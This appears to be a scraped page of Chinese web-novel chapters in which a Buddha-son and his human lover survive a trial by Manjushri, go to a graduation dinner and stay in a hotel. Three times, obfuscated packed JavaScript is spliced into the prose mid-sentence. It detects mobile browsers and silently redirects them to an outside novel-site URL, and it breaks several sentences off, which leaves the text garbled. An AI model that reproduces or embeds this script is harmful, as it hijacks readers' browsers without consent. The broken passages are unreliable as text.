举目四望,就连青狮也不见踪影,欲攻击但不能攻击,憋闷纠结,亦不止为何会下意识找出弓箭来。金刚弓用以降魔超度,可此处没有魔,甚至没有人。 三大士殿内逼仄,不是文殊菩萨真正的宝殿。像他们这样已涅槃过的大菩萨,宝殿只会更为雕梁画栋,法理蕴藏于最繁丽的纹饰中。 罗爱曜绕半圈,再见到中庭,此时中庭已被一片浓雾吞没,只见地上石板无限地延伸进青雾中,而在这缭绕的氛围中,犀利的星红光点在雾中闪逝,如天雨沸铜,非人间景色。罗爱曜一迈出去,天雨遍洒身体,灼热痛楚,竟是地狱之手段用在罗爱曜身上。他是佛子,无痛无感,可如今感受到火烫,罗爱曜狠狠一拧眉,却不退回殿中,霎时间千万枚莲花众现身迎火。 青莲、红莲、白莲,着了火便皆烧灼起来。罗爱曜就在火光中找施霜景,心想为何所有人都用施霜景来考校自己——作大乘涅槃时,他们要用施霜景的死来了却罗爱曜的因缘;现在罗爱曜在悟自己的密宗涅槃,文殊菩萨又用施霜景拿捏罗爱曜,又欲辩经,辩得罗爱曜心中火冒三尺,愤怒无双。 罗爱曜:我已厌烦大乘辩经,不行无知无觉无物质的圆融无余涅槃。我蓝月空花之中,实是实,虚是虚,虚实之界为我愿,我愿常留施霜景。我且最后说一次,不论他是幻非幻,皆不在我讨论、证明之处。我是我,他便是他。我与他共行,我们的根本实性已彻彻底底关联了起来。 罗爱曜:即便相遇之前从未猜到有一朝会相融,在缘觉之际,业已成立,不是我辩或不辩就可否却的,亦不是你辩或不辩就可否却的。 罗爱曜:我说清楚了吗? “施霜景”:很清楚了。但你仍未回答,你可敢看我? 罗爱曜:我看施霜景,看的不是你。 “施霜景”:所以我便问你,你可敢看我。 罗爱曜:不,你不是他。我探过施霜景的佛缘,在我们相遇之前,他与佛门之业无关;在我们相遇以后,他也只与我有关。 罗爱曜在火雨中慢行,却怎么也无法远离三大士殿。他那浮空俯视的佛眼见到施霜景的人形仍在做莲花型的运动,他好像握住长物,进殿、出殿,脚步行迹画出层叠的莲花花瓣,却始终无法下沉到文殊的这层法界。 身体愈来愈沉重,铜雨溅身,就像那些金箔强行贴在罗爱曜的密宗像上一般,罗爱曜难得受制于人,寸步难行。金刚弓与箭,可破障亦可慈悲。罗爱曜连目标都未有,满脑子只想着文殊的考题——如果罗爱曜没理解错,文殊菩萨应是在考他。 这可真是才过了施霜景的高考,又来罗爱曜的高考。罗爱曜还在加急维修自己的法界,想着是否能拖延,反正以佛子之身行于世间也很方便,不必非要此时此刻涅槃,等个几十上百年也等得起。有的是人看不惯佛子这拖延,文殊菩萨不就来了。 “你可敢看我”——你可敢看施霜景?如何看?用眼看还是用心看?不论怎样看,罗爱曜早已将施霜景看了成千上万遍。在罗爱曜眼中,施霜景大巧若拙,大智若愚,因此罗爱曜在他身上学会大辩若讷。在罗爱曜修复自己的法界与宝殿时,心无杂念,不以种种经文的辩法作基底,只是去芜存菁。你可敢看我?我为何不敢?看的便是最为凡人的你。罗爱曜早已接受爱上凡人的事实,则还需要凝视凡人到什么地步呢?凝视到某一地步,反倒是戏谑化了。就将施霜景看作施霜景,而其他芸芸众生也各有独立存在之本格。承认这一点,尊重所有有情生命,这是罗爱曜的慈悲底色。 罗爱曜心中疲惫不堪,却还是要打起精神,既然佛眼见到施霜景还在找寻自己,就只得将这进程推下去,忍住这卸力的冲动。 施霜景提剑进殿,青狮候在门前,伸进半个脑袋来。施霜景回身剑指青狮鼻尖:“你和那猫什么关系?诱我进局?我真不明白,你们佛菩萨的事,非要拿我这个人类穿针引线——” 青狮头一偏,避过剑锋,铜铃般的眼灵活转动,一会儿瞧瞧施霜景,一会儿又瞧瞧殿内。它不会说话,不用回答施霜景的问题,就算能回答也不像回答,这世上一切事都自有安排,做就得了。 施霜景进三大士殿,所见的是玻璃龛背面,始终见不到三大士真容。他绕圈、出门,反反复复,竟然没有见到任何一座佛像、菩萨像的正面,而且往往随着这些菩萨的转身,他就被送回三大士殿的前后中庭,反正就是无法离开三大士殿。 施霜景心中的苍白在扩大,他很有一种抽离的感觉,就好像被取走了一粒种,平铺展开来却像一座山、一片海,那折折叠叠的、微缩的清凉盛景,金器浮沉在薄土中,天日换月,清辉慑人。孤突突一座宝殿立于清凉地上,菩萨不以真面目示他。听不见罗爱曜的声音,佛子经,佛子咒,施霜景心无旁骛,忆起罗爱曜教他的咒文。他念咒的样子既执拗又傻,拔剑四顾心茫然,诵经的声音由风解析又加工,竟然像歌,竟然像施霜景熟习的歌唱全是为了更好地唱诵。 罗爱曜在一众超越时间、空间的咒文中,听见施霜景找他。循声识途,罗爱曜拉满弓,在施霜景的念诵声落下之前,射出那只单途箭。 一枚箭穿云破雨,刺入殿内的玻璃龛,大龛轰然爆裂,爆的却不是罗爱曜这边的龛。施霜景忽闻殿内的破裂响声,以为是罗爱曜回来了,慌忙抵达,只见那玻璃龛碎裂一地,原先三大菩萨之处,竟然只剩一枚佛像高的莲花铜胎,丝丝秘光透渗而出,异艳到不祥地步。 跟罗爱曜在一起,是否就意味着无穷无尽的恐怖片?施霜景正犹豫是否要靠近这莲花铜胎之际,青狮竟忽然从另一侧搭上佛台,很危险地嗅着这异物。施霜景顾不得那许多,从这一侧亦是三两步上高台,青狮毫不留情,蓄势一吼,施霜景哪遭过这样的神话生物攻击,险些耳膜流血,一时间天旋地转,一手扶上莲花铜胎,冰冷刺骨,冻得他一激灵,仿若神魂归位。 佛台摇晃,青狮不放过施霜景,它跳下地面,绕行一步,竟是盯准了施霜景的后背。青狮比施霜景大出一圈,有人一般高的兽往往体型是人的两倍以上。兽的眼神如此骇人,人的眼神如此坚定。与兽相遇,不可直视兽的眼睛,否则会为挑衅。施霜景偏要直视,握剑翻腕,他先前用剑试过青狮,青狮避开,虽不知此剑能否伤到它,可总比什么武器都没有要好。 施霜景知晓罗爱曜的代表物之一便是莲,所以不论此莲胎多异艳,施霜景都会看顾好。 青狮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720720|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甩颈,忽的暴起,从更侧面袭击,直冲施霜景握剑的右臂而来。施霜景压低重心,右臂躲过巨口的撕咬,险中避开这一扑,施霜景仍未下佛台,他果断地旋身,单臂一揽,将半人高的莲胎拥入怀中。莲胎实为合拢的莲花花苞型,被施霜景轻巧地摘了下来,重量也并不超出施霜景的承受能力。 取得莲胎,施霜景跳下佛台,往中庭冲去,可天空一阵急雨,如滚沸热水,直叫施霜景皮肉融化。施霜景只得退回大殿,那青狮一副势在必得貌,优雅狮步,步步逼近。 施霜景被逼至角落,心中慈仁所剩不多,青狮几次张口,试图咬掉那莲芯的尖顶,几乎从施霜景身前刮擦而过。逼迫到最后,施霜景看准青狮颈侧,侧身一剑,攲斜刺出,手中力道竟然是实打实的,扎进肉中,狮血淋漓,溅在莲胎之上。 “施霜景”对罗爱曜说:你瞧这犯错。 “施霜景”:当年不空三藏千里迢迢带你去五台山,你可知他也纠结思虑,究竟是要你行哪一门方便呢?他从见你的那一刻便看见了未来,此地已无密宗,那你这密宗佛子要去何处?不空三藏在五台山三请五请我,五台山清凉地是我显灵处,不空早已为你选好护法大菩萨,即是古佛智慧大菩萨我。然而我又不必只显灵五台山。霜景清凉,我亦可以借这特殊一命,显灵于此。 “施霜景”:你可敢看我?愚鲁凡人,伤神兽身,此生会一错再错,罪业谁担负? 罗爱曜浴雨进殿,佛台上,自己的密宗像已贴尽金箔,无法透气呼吸,生生禁锢在高台之上。难道他从此以后也要这样贴金地坐在高处,送往迎来,行众生之愿吗?这一切还是太恶心了,并非罗爱曜所愿。他的佛眼见到重叠的空间中,施霜景抱着莲胎与青狮斡旋,不就是看他?文殊所说的“你可敢看我”中的“我”,是借施霜景声音,所以是看施霜景。 脑海中想解法。若作辩论,不是密宗宗旨。实践行为,即身受负,利落干脆,不能落入文殊的辩,只做便好。 青狮气急,追赶施霜景,在不大的殿中来回冲撞。罗爱曜又挽弓,搭上一支新箭,瞄准施霜景方才刺出的伤口,放出一箭。此后,不论施霜景对青狮施以怎样的攻击,罗爱曜都以金刚箭作因果的撤销。这一切都是幻,文殊要以幻证幻。 施霜景发现他对青狮的伤害全愈合,可刚才那青狮血是实打实溅上了莲胎,施霜景用衣物拼命擦拭,青狮跨步而来,消耗施霜景的体力。施霜景愈恨,愈见青狮之凶猛。 这是一场二人的试炼。文殊菩萨借施霜景的命格布置出考场一般的法场。施霜景要在偏爱与憎恶中破障,罗爱曜则是要在破障之中破执。 施霜景偶然一瞥,在莲瓣合拢的空隙间,依稀见到那一丝的场景,见罗爱曜搭弓绕行,一身因浴铜雨而有伤。他冲着那缝隙喊罗爱曜的名字,罗爱曜听不见。 莲胎中渗出的秘光更为诡谲,施霜景望向那缝隙时凝神、再凝神。 罗爱曜想,他真是不愿再顺着文殊菩萨的思路了,什么犯错不犯错,人会犯错,佛亦犯错。智慧不是无错。就连智慧也是伪定义。文殊菩萨叫罗爱曜反反复复看,可“看”不会取得真实。密宗信奉身口意三者合而行之,罗爱曜只想找到施霜景,且以单纯的行来证明自己已做下选择,此后将其视为理所当然,就像法王子理所当然是文殊一般,密宗佛拆出胸骨来,发现藏一颗佛母心,这也是理所当然,就像此前的人或许误解了双身修法,就像此前的佛从未有如此成功过。 罗爱曜有箭,施霜景有剑。罗爱曜有了办法。 164.大智若愚篇(二十七) 罗爱曜还记得施霜景在家里柜子发现残剑的那天,他们的感情尚还朦胧,罗爱曜一句多余的解释也没有,只叫施霜景将断剑留在自己身边。那天起,罗爱曜就感觉到,此剑必将刺出。从金刚杵到文殊剑,文殊菩萨一直作隐隐的存在,让罗爱曜无法无视,却又不能断言。 数支箭搭在弓上,瞄准正意欲打断施霜景行动的青狮。罗爱曜不知晓施霜景能透过莲胎花瓣间的细缝看见他,他刚才射出的金刚箭抵消了施霜景伤青狮的因果——凡人不可伤神兽,否则有罪。 罗爱曜最清楚这传统的佛国观里,阶级最为鲜明,千千万万年了,怎么仍是如此呢,不可低位杀高位,不可同级杀,只剩下高位杀低位,然而他们这些佛又从来不说“杀”字,只非常圆满地认为一切烦扰生命是魔,降魔除障,天下清净,杀你是除我的障,若你不是我的障,我怎能杀你?若你不是我的障,便轮不到我。 然而现在弓箭作用一转,不再是抵消施霜景伤青狮的因果,而是罗爱曜主动出手,带着制服青狮的强烈意图。佛眼端视,望尽多重空间,罗爱曜锁定青狮,连放七箭。那头的青狮躲避不得,仿若虚空中遭人索命,青狮慌逃,撞上红柱,一箭射透它的左眼,将它钉在柱上,两只前蹄悬空,无尽的可怜,而后六箭分别射中它的颈部、脊梁、腹部和前胸。 最后一支箭就这样擦过施霜景的眼前,明明速度快若光,可施霜景就是读出了箭身的小字,是罗爱曜留的讯息。 罗爱曜说:杀了那莲苞。 施霜景被各种假讯息骗过很多很多次,他一介普通人要怎么分辨真假?施霜景撑大胆子,来到挣扎的青狮身前,猜想其他六支箭上是否留了讯息。 果然,其他箭上也有罗爱曜的留言。合起来是这样一段话: 这是文殊菩萨对我与你共同的试炼。 文殊借你的命格显灵,你便也可以使用文殊剑。 不必与青狮争斗,它是为刺激你破戒;人不可伤神兽。 你的剑应是用在我身上。 你所抱的莲苞内,是我另一个未完成的‘相’。 文殊仗剑刺佛以验法,你也应执剑杀我以验相。 杀了那莲苞。 罗爱曜品味下来,更认同地藏菩萨的转圜办法,他吃人、提前取祭品之因果,是送此人再入轮回,此手段绝对可称为杀人,罗爱曜也会承担其后果。这不,他从不将自己摘干净,自愿留在有情世间做修行。对于佛来说,杀人不会偿命,只是无限延长了自己与人间的牵扯。它们是很怕麻烦的一类存在,强调各人有因果业报,或许也只是不愿脏了自己的手。 密宗落定于人间,他行凡人的便宜愿望,是从中悟自己的大愿,然密宗的愿相比大小乘的愿,只象征一把钥匙。依罗爱曜所悟见的,他会做持钥匙的佛,而不是门后坐等的佛。生是授钥匙,死也是授钥匙,教度的体系明确,密佛为师,不上须弥,着眼有情人间。 他曾认为这是脏活,可现在看来,以染证无染,特别妥帖,特别符合罗爱曜的需求。他可以依旧做他的佛子,反正已是天下无敌;但也可以涅槃之后再转度回来,以菩萨相或明王相示人,或干脆找到自己的办法,密佛回世。还是涅槃了好,不然虽是天下无敌,可天外有天,始终不与佛同级,很难行方便。话又说回来,“脏活”、“麻烦”、“浪费时间”……像罗爱曜这样的存在,它的时间太多了,多到不浪费就显得空虚。有人做知识生产者,就有人做知识运用者,还有像罗爱曜这样的存在,既生产经文,又实践经文。 让施霜景仗剑杀他是铤而走险,因为文殊剑是真可杀佛。文殊的剑未有真正刺上佛祖,佛祖辩法阻退了文殊的剑,二佛合演一出苦肉计,教五百菩萨对自己曾犯下的罪愆释然。因此,这是一把徒有威力却从未出锋的剑。 罗爱曜不与文殊辩。若此剑一定要出,那不如让罗爱曜做第一个试法的佛子。若一切是幻,是起念又转念,是破执,那为何那五百菩萨要怕剑落己身?佛陀亦要怕剑落己身? 施霜景在青狮悲吼中消化着罗爱曜的传信。他想,他这辈子都搞不懂佛的弯弯绕了,说是慈悲,实际生杀。 要杀了莲胞。怎么杀?将剑刺进去?施霜景又将眼睛凑近,看莲瓣之间的狭窄空间。罗爱曜在空间的另一端,手上金刚弓化为金灰,刚才施霜景所见罗爱曜受伤,而那烧伤渐渐泛起了金铜颜色,像金箔一片片贴在罗爱曜身上。罗爱曜向缝隙处走来,施霜景下意识后退,可他抱着莲胞……要怎么做呢?啊,龛上有莲座,刚才是不小心将它摘了下来,应该放回去。 施霜景爬上台面,将莲胞放回原处,再次窥看缝隙。罗爱曜已上高台,在一阵短暂的黑暗遮蔽之后,视线清空,施霜景再也无法通过缝隙找见罗爱曜,视线越过那道窄缝,只见云雾缭绕的中庭,仿佛于天宫,雾气渐渐重了。恍惚间,施霜景看见云雾中隐约浮现罗爱曜那巨型的宝石琉璃洞窟法相,众宝石琉璃都悲戚地泛出冷光,如此遥远,如此不定,仿佛用尽一切力气让内心的所有激荡都安静下来,七彩的琉璃不再有光,原来那宝石琉璃法相消寂下来是这样一尊悲悯的残佛。佛门有那么多圆滑自在的佛,却只有这样一尊内心生满荆棘、自行运转而无所依的佛,行自己的道,于未知与隔绝中小心翼翼走下人间。 罗爱曜收起台上满受束缚的密宗像,换上自己肉身,铜雨为他铸金,此为即身成佛。然而即身成佛亦是一个死字。只是想保留肉身行于世,与相爱的人相守,怎么会这么难呢?罗爱曜只能寄希望于施霜景。即便他用七支箭传递了自己的讯息,可一切都只是猜测。罗爱曜不能保证施霜景按他所说的去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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光影重叠间,仿佛见到的是施霜景拥住罗爱曜,一把剑锁住两个人——罗爱曜微微仰首,他与施霜景都是一对新人,第一世的人与佛,相遇的一切都有关宿命智。就算这一刻死了,落入了轮回,两人以后亦是永远相关联的。罗爱曜不害怕,施霜景也不害怕。我将咒与法勾住你的姓名与性命,我将血与爱灌注进你的新相。 说到底,他们就是这样的关系。死不足悔,只恨受人阻隔、挑战,逼二人作抉择。 施霜景长舒一口气,只是将剑刺入身体,这样的疼痛不如他生病将死那回。模糊间他见到一人踏空而来,步入殿中,拔下了那七支血箭,青狮化作见过的那只猫儿,健康又无限依恋地窝进主人的怀中。人不可见佛面,却见到雨过天晴。这一剑刺穿了施霜景,空虚却渐渐闭合,那清冷无情的、粉末一般的灰白色从眼底退去。 文殊对罗爱曜说:你现下见过真正的他了。你放弃了辩法,以身口意与三身来验法,苦炼心体,你的执以剑破你执,此之后你将心无挂碍。你们不是欢喜双佛,而是找到共行之道。菩萨相已成,你三相皆具,悲智双运,已做好全部准备。 七日后,涅槃法场见。 165.大智若愚篇(二十八) 罗爱曜寻得四位护法,施霜景却得四次濒死。佛子不仅习得了爱,也因此习得了恨。 必须涅槃。不涅槃,此恨怎得安置?罗爱曜呼出一口浊气,并不是入了妖魔邪障——在罗爱曜的观念中,根本无妖魔。以爱染,以恨染,反正这剑已经刺了进来,从前佛陀不敢做的事,施霜景与罗爱曜做了。倘若如他们那般——“汝住汝住,不应造逆。勿得害我,我必被害为善被害*”——全是混蛋,全是骗子,全是懦夫。罗爱曜轻易不发泄、不辱骂的,这剑实在太痛了,罗爱曜以佛身见血,证无生法忍,独树一帜。若形容每位佛都是一枚佛果,其他佛可以是月白也可以是太阳金,罗爱曜这一下染成了赤红孽果,孽海生佛,于和平中乱世,于乱世中又和平。 文殊就这样走了,罗爱曜满腹“悲智”,既悲愤又恶智,心中恨海翻腾,七日后见,七日后必须涅槃,再也躲不得了——只是,罗爱曜关切施霜景。剑在施霜景手上,一剑穿通了莲胞与施霜景,而那莲胞其实是罗爱曜正在孵化的另一相,文殊一走,剑还留着。 罗爱曜哀道:“施霜景,已经结束了……你快把剑拔出来……” 施霜景倒显得更从容,就好像受伤习惯了。他虽痛,可身上气力仍不减,单手握剑柄,沉力一拔,带血的长剑脱手,当啷落在石板地上。施霜景身形一晃,忽的被人扶住,一抬首,确认是罗爱曜回来了。 两人以暧昧姿态坐于莲台,罗爱曜左手虚托染血莲胞,右手搂住施霜景。施霜景下意识看手上的血,可他的手很干爽……浑身也干爽,没有伤口,刚才的剑刺是虚相。那,血又是从何处来的呢?是青狮血吗? 罗爱曜说:“是你的血。” 施霜景仍在恍惚中:“你叫我杀莲胞……到底是什么意思……” 罗爱曜哑然,事都已经叫施霜景做完了,现在反倒问他什么意思……“你用剑去捅那莲胎就行了,为什么非要害自己?你很不怕死吗?你为什么总是要赴死?你知道你在我眼前死了多少回吗?”罗爱曜越问越激动,越问越失控,险些捏碎手上的莲胎,却舍不得在抱施霜景的时候多用半分力。 既然都是虚相,都是假的,施霜景自己撑起身体,只要等那疼痛的幻觉消逝即可。施霜景还没来得及解释,罗爱曜的话又劈头盖脸砸下来,罗爱曜的脸上虽干爽,可那话跟泪雨没分别了。 “我早该知道,我早该——你能救那些只有分毫关系的人,当然就会救我……我第一次被你震撼,就是你犯傻去挨刀,你的命我留了又留,到底是你的问题还是我的问题,还是你那狗屁的命数的问题?我叫你捅我,你是做什么,殉情吗?还是觉得我可怜,你非要陪我一道……” 原来罗爱曜并没读到施霜景刚才的心思。即便读到了,心思转化为语言,又是另一回事。施霜景的笑容凄惨却又固执,竟然还有几分你奈我何的嚣张,他说:“我哪里想了那么多——我只是在想,如果真把你送走了,只剩我一个人,我孤单啊。我要跟你一起走。只要我不拔剑,我们就永远锁在一起。” 施霜景还说:“我后悔了。以前你问我,到底想不想你涅槃,为什么不留你。我后悔了,我还是想留你的,你又说我没佛缘,我不能跟你走……凭什么?我真的没有佛缘吗?罗爱曜,你回答我。” “有。再没有缘,现在也有了。”罗爱曜真真无可奈何了,他是真的痛。身为佛子,他本是无痛无觉的,那牢固不破的金身,千年来都是一个样。同施霜景在一起,起初是弯进了一枚钩子,勾得罗爱曜心里酸痒麻胀。这下倒好,一把剑捅破了金身。 罗爱曜简直被这荒谬现实逗笑了,他生气,问施霜景是不是还在痛,施霜景说“是”,罗爱曜点头,“你受伤,连累我一起痛。完蛋了,一切都完了。以后我要和你一起痛了。” 施霜景一下没听明白,呆呆地“啊?”了一声。 罗爱曜狠戳着施霜景刚才剑刺的腹部,又戳自己腹上同一部位,“我们痛在同一个地方,这是我们二人彻底共业共行了。小灾小病我不知道,但以后若是再有这种大的伤害,我只会跟你一起痛。你有本事就捡起剑来再刺一次试试看,看看我会不会和你一起难受。施霜景,算我求你,看在我的份上,对你自己好一点行吗?” 施霜景不知该不该信,毕竟罗爱曜老骗他。可他看罗爱曜的表情,真像是吃了痛的模样,平时罗爱曜拽得二五八万,不动如山,原来是因为一点痛觉都没有。这一剑不小心让罗爱曜更下凡了,施霜景莫名心虚。 罢了罢了。罗爱曜抄起施霜景,抱住莲胞,两人下佛台,在文殊造出的法界彻底消散之前,他们离开文殊院——晦气,太晦气了,晦气得无以复加,晦气得西风堵嗓。 施霜景一上车就晕睡过去,罗爱曜久久凝视施霜景的睡颜,心情很复杂。事情到了这个份上,施霜景竟然仍然是人类,只是很多很多东西都不一样了。施霜景的物种没有改变,但其他的似乎皆有改变。是因为罗爱曜来了并与他相爱吗,还是他本来就具有这样的潜质?爱到这个地步,再追问都像是不甘心。其实罗爱曜能爱上他就已是天注定的异常。这么多异常反反复复叠加,罢了,罢了! 罢了!总之以后真是永永远远在一起了!罗爱曜释然,打方向盘,他们要回家。七日后涅槃法场见,苍天啊,罗爱曜回家还有得加班呢,他那倾圮颓废的法界要重新收拾出来,还要寻励光厂的实际法场地点,还要联系其他的护法例如龙女……幸好施霜景已不再痛了,罗爱曜体内的疼痛也终于止息。 大半夜的,施霜景睡醒,不知道自己何时被罗爱曜搬回了家。施霜景福至心灵地感应到,罗爱曜似乎在假寐,施霜景便摇醒了罗爱曜。 “你真的和我共享痛觉了?” 罗爱曜定定道:“你真的不能再这样伤害自己了。现在想想,这可能也是我的所愿。如果我和你共享痛觉能让你做事之前多考虑自己,那我便和你一起痛吧,这无碍的。” “……不用的,我有些磕磕碰碰也很正常。” “小的磕碰我不与你共享,你被我干得醉仙欲死我也不与你共享。你若是用剑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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施霜景依旧是大智若愚,什么也听不懂。罢了,还能咋的,总不能不让罗爱曜说。施霜景如今已习惯从罗爱曜的绕言绕语里提取关键信息,什么“不要命”,什么“搞清楚你到底是个什么存在”,罗爱曜这个谜到今日可算是被施霜景读懂了——原来搞定一个谜题的方法是用一个新的谜题吊住他。 施霜景捧住罗爱曜的脸,当真是夜色里一张玉面。两人过五关斩六将,施霜景捧得美人归,哪有名将不受伤。 罗爱曜读出施霜景心中比喻,倒反天罡又情有可原。唉,果然就是他了。罗爱曜心中法界美轮美奂藻井纹样图景疯长,宝石法相棱柱齐齐折出漫天炫丽光彩,蓝田日暖玉生烟,曼妙轻盈的雾气间玄黑金红的宝殿傲立,梵音阵阵,什么也听不明白,什么也都不是人间音声,那只是感谢而已。他们能遇见彼此真是太好了。 施霜景背上民谣吉他出门去,他在励光厂找到了吉他的入门老师,这几日天天上门去学吉他,就只为今天在毕业散伙饭露一手。 罗爱曜开车送他,“重复一遍,我刚才说什么了。” “你说,不要唱伤心情歌,唱点开心的,还有不要喝酒。” “嗯,还有呢?” “还有?哦哦,散场半小时前给你发消息,你来接我。” 罗爱曜满意。施霜景也满意。各有各的满意。真是好一对痴笨恋人,谁痴谁笨不必多言。 *引自《大宝积经》一零五卷·神通证说品第九。 166.大智若愚篇(二十九) 这顿散伙饭吃得不如预期,居然有些束手束脚。 久违的疏离感又来了。施霜景坐在席间,大家左右交头接耳,话题云云:有讲到父母在高考录取后公布离婚然后迅速带小三上门的;有因为换电子设备而和家人闹的不愉快的;有思来想去还是不能决定是否复读的;还有与老师打成一片装作高三的矛盾从未发生过而一派祥和的。高中毕业生不能喝酒,成年了也不行,否则老师要出事情。现在规定严格了,也都不让报作“谢师宴”,只说是高三散伙饭,请老师来随意吃几口,主体还是学生们。一些家长也来了,吃饭吃到后半程总是进包间,同老师互动得难舍难分。 吉他静静地偎着墙壁,施霜景在席间被放生,索性就先照顾肚子,吃饱为上。 终于到了散场时,要转去KTV了,施霜景背起吉他,这才有同学蹭到他身边,调侃他:“哟,练了一手?不会吧施霜景,你也搞这一套?那个人也去唱K吗?”幸好一些操心的父母把孩子提前领走了,剩下要续摊的同学只要去KTV开个派对厅就能坐下。 施霜景带吉他不是为了唱歌给谁告白,他只是——只是因为学会了新技能,那独属于年轻人的炫耀一般的毛糙感泛上来,必须要露一手才能抚平的。 组织活动的杨玲玲和班上另一个男生走得近,听说两人录到同一个市的大学,正好两所都在大学城,算是相邻。其他人亦是如此,暧昧的氛围,恋爱的氛围。他们在走往KTV的路上,有男孩突然蹲下来给女孩系鞋带。施霜景东张西望,忽然看见路边停了一辆一模一样的雷克萨斯,他心里突突的——罗爱曜来了?再定睛一瞧车牌,不是同一辆车。大家都有恋爱可谈,施霜景也不是没有。不。施霜景太有了。在这些人还没开始谈恋爱前,他就已经大逆不道地高三早恋。只是他的恋爱对象必须要藏住了,有些背德,有些超出异性恋伦理,容易引起流言,有些……算了!施霜景看见街边亮灯的药店,唔,他和他的恋爱对象是那种很成人的关系,早已不是“校园”可概括的。施霜景在他人注意不到的时候变默默成熟,熟透。他们的高考前放松是打游戏、刷抖音,施霜景的考前放松是无尽的上床。想到这里,施霜景忽然无厘头地笑了一阵,差点被同学以为是在嘲讽。 唱歌,唱歌,一个班的麦霸争来争去,话筒根本落不到施霜景手里,也就只有几次唱歌的机会。施霜景在角落里默默玩吉他,简直是大大的失算。恋爱的氛围有KTV炫目灯光衬底更是肆意,要么就是玩KTV游戏——带社交挑战性质的游戏更烘托暧昧。施霜景明确表示自己不喝酒,三月份生过病,喝酒是要命,别人喝啤酒或者调酒,他就喝作基底的水溶C。 班上有好事的同学带了一兜子桌游,同学拆了一副新买的KTV聚会卡牌,施霜景凑上去看了,当即就说不行:“你这买的什么玩意,喜欢哪个女生就直说,不要搞这种小动作。”牌面上写着乱七八糟要求抽牌者泄露隐私的指令,什么看购买记录、看删除记录、搜聊天记录……当然,施霜景存在一点点私心。要是大家乐意玩这个游戏,他抽中了牌,岂不是要把自己与罗爱曜的隐私泄露出去?之后大家只好又玩了几轮逛三园,玩得施霜景瘫在沙发上,喝了个水饱。 他受不了了。 施霜景发消息给罗爱曜,说自己想走人。真是希望越大,失望越大。 罗爱曜很快就回消息,表示自己很快就到。于是过了二十分钟,施霜景偷摸背好吉他,趁乱溜走了。包间里起码还剩二十号人,少他一个其实根本不会怎么样。 晚风清爽,风中夹着一丝不易察觉的水腥味,说明快要下雨。施霜景在街边等罗爱曜的车,见到水果店要收摊,正打折出清今天的水果,施霜景便是花了便宜钱买走最后半个西瓜。隔壁的卤菜店也是如此,施霜景便拎了一袋子鸭货。罗爱曜的车缓缓靠边,施霜景先开后车厢,将买的东西与吉他都放好,这才坐进副驾驶。 他玩得好不开心啊。罗爱曜知道。罗爱曜就没听见施霜景开口唱几首歌,从下午到晚上尽是乱糟糟的气氛。 “要不要带你去别的地方玩?”罗爱曜直视前方,反正他们已经开进D市,川渝夜生活丰富,有的是地方续摊。 “去哪里?玩什么?” “只是随便问问,我没什么好选项。你有什么想去的地方吗?” 施霜景的手肘抵住车窗,若有所思道:“我也没有。但现在就回家好像是有点亏。” 其实施霜景在想,会不会时时刻刻和喜欢的人赖在一起,也是一种逃避的表现呢?可施霜景也不知道自己在逃避什么。这样到底正常么?在家觉得太闲、太孤单,出去玩又想早点回家。 以及那么一点儿微末的焦灼感。在焦灼什么? 施霜景不经意间斜望罗爱曜,三日后他就要涅槃了。大家都假装无事发生。龙女一家明日抵达D市,亟待参加罗爱曜的涅槃仪式。施霜景要去吗?罗爱曜曾问过施霜景,施霜景仍在犹豫。不知道为什么,施霜景虽希望与罗爱曜同进退,但,总有一些事是要他们单独去完成的。即便施霜景去了,也只是在那仪式之外等候而已。他应该相信罗爱曜么——那么多次了,在家等他不来。这回可以相信他么? 施霜景坐直身体,点开手机应用软件:“我知道去哪里了,你等我找找看。” 选好地址,施霜景打开地图,让罗爱曜按地图开过去。罗爱曜在红灯间隙仔细确认目的地,但他也没多问什么。 施霜景将身份证拍在大理石条桌上。前台工作人员头也不抬道:“另一位先生的身份证也出示一下。” 罗爱曜掏出皮夹,交了自己的身份证,也录入了人像,验证通过。服务员递了两张房卡给施霜景。施霜景紧了紧吉他包的背带,一进电梯便指挥罗爱曜道:“一会儿我先去洗澡。我们不会待太久,结束就回家,OK?” 这什么奇奇怪怪的对话。罗爱曜望向电梯顶的摄像头,不好多说什么,只淡泊地点点头。开F就开F,搞这么神神叨叨的。 他们没去佛子唐卡所在的F酒店,而是就近找了档次还不错的酒店,即来即办入住。施霜景头一回这么积极主动,纵使罗爱曜会读心,可施霜景的直球打得九曲十八弯,罗爱曜有种骑马任脱缰的放纵感,实在牵不住了,也没必要牵,干脆随便吧。 施霜景冲进浴室洗澡,洗完裹了浴袍出来,换罗爱曜进去。罗爱曜淋水之际,听见一墙之隔外,施霜景正调音、拨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758584|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 